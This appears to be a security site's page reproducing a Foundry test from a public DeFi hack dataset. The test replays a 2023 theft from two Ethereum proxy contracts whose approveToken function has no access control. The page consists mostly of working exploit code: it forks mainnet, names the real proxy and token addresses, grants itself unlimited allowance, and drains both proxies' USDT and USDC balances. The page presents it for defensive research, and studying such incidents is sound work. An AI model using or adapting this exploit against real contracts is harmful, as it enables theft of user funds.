Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/DEPUSDT_LEVUSDC_exp.sol

Public reproduction file for dataset entry DEPUSDT_LEVUSDC.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/DEPUSDT_LEVUSDC_exp.sol58 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~36K USD$ (LEVUSDC) + ~69K USD$ (DEPUSDT)
8// Vulnerable Proxy DEPUSDT : https://etherscan.io/address/0x7b190a928aa76eece5cb3e0f6b3bdb24fcdd9b4f
9// Vulnerable Proxy LEVUSDC : https://etherscan.io/address/0x2a2b195558cf89aa617979ce28880bbf7e17bc45
10// Attack Tx DEPUSDT : https://etherscan.io/tx/0xf0a13b445674094c455de9e947a25bade75cac9f5176695fca418898ea25742f
11// Attack Tx LEVUSDC : https://etherscan.io/tx/0x800a5b3178f680feebb81af69bd3dff791b886d4ce31615e601f2bb1f543bb2e
13// @Analysis : https://twitter.com/numencyber/status/1669278694744150016?cxt=HHwWgMDS9Z2IvKouAAAA
15interface IProxy {
16 function approveToken(address token, address pool, uint256 amount) external;
19interface IToken {
20 function balanceOf(
21 address who
22 ) external view returns (uint256);
24 function transferFrom(address sender, address recipient, uint256 amount) external;
27contract ContractTest is Test {
28 IToken DEPUSDT = IToken(0xdAC17F958D2ee523a2206206994597C13D831ec7);
29 IToken LEVUSDC = IToken(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
30 IProxy ProxyDEPUSDT = IProxy(0x7b190a928Aa76EeCE5Cb3E0f6b3BdB24fcDd9b4f);
31 IProxy ProxyLEVUSDC = IProxy(0x2a2b195558cF89AA617979ce28880BbF7e17bc45);
32 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
34 function setUp() public {
35 cheats.createSelectFork("mainnet", 17_484_161);
36 cheats.label(address(DEPUSDT), "DEPUSDT");
37 cheats.label(address(LEVUSDC), "LEVUSDC");
38 cheats.label(address(ProxyDEPUSDT), "ProxyDEPUSDT");
39 cheats.label(address(ProxyLEVUSDC), "ProxyLEVUSDC");
40 }
42 function testApprove() public {
43 // No access control. Thanks to this, attacker obtained authorization to transfer funds
44 ProxyDEPUSDT.approveToken(address(DEPUSDT), address(this), type(uint256).max);
46 DEPUSDT.transferFrom(address(ProxyDEPUSDT), address(this), DEPUSDT.balanceOf(address(ProxyDEPUSDT)));
48 cheats.roll(17_484_167);
50 ProxyLEVUSDC.approveToken(address(LEVUSDC), address(this), type(uint256).max);
52 LEVUSDC.transferFrom(address(ProxyLEVUSDC), address(this), LEVUSDC.balanceOf(address(ProxyLEVUSDC)));
54 emit log_named_decimal_uint("Attacker DEPUSDT balance after hack", DEPUSDT.balanceOf(address(this)), 6);
56 emit log_named_decimal_uint("Attacker LEVUSDC balance after hack", LEVUSDC.balanceOf(address(this)), 6);
57 }

Analysis

Dataset entry

Public Foundry test for “DEPUSDT_LEVUSDC” (2023-06-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attack Tx

    0xf0a13b445674094c455de9e947a25bade75cac9f5176695fca418898ea25742f

  • Attack Tx

    0x800a5b3178f680feebb81af69bd3dff791b886d4ce31615e601f2bb1f543bb2e

File record

Name
DEPUSDT_LEVUSDC
Path
src/test/2023-06/DEPUSDT_LEVUSDC_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d4e53e70db1dd1e10a380dbc8b17dc59d7bb29aa
Language
Solidity
Size
59 lines
Date
2023-06-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/DEPUSDT_LEVUSDC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d4e53e70db1dd1e10a380dbc8b17dc59d7bb29aa, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.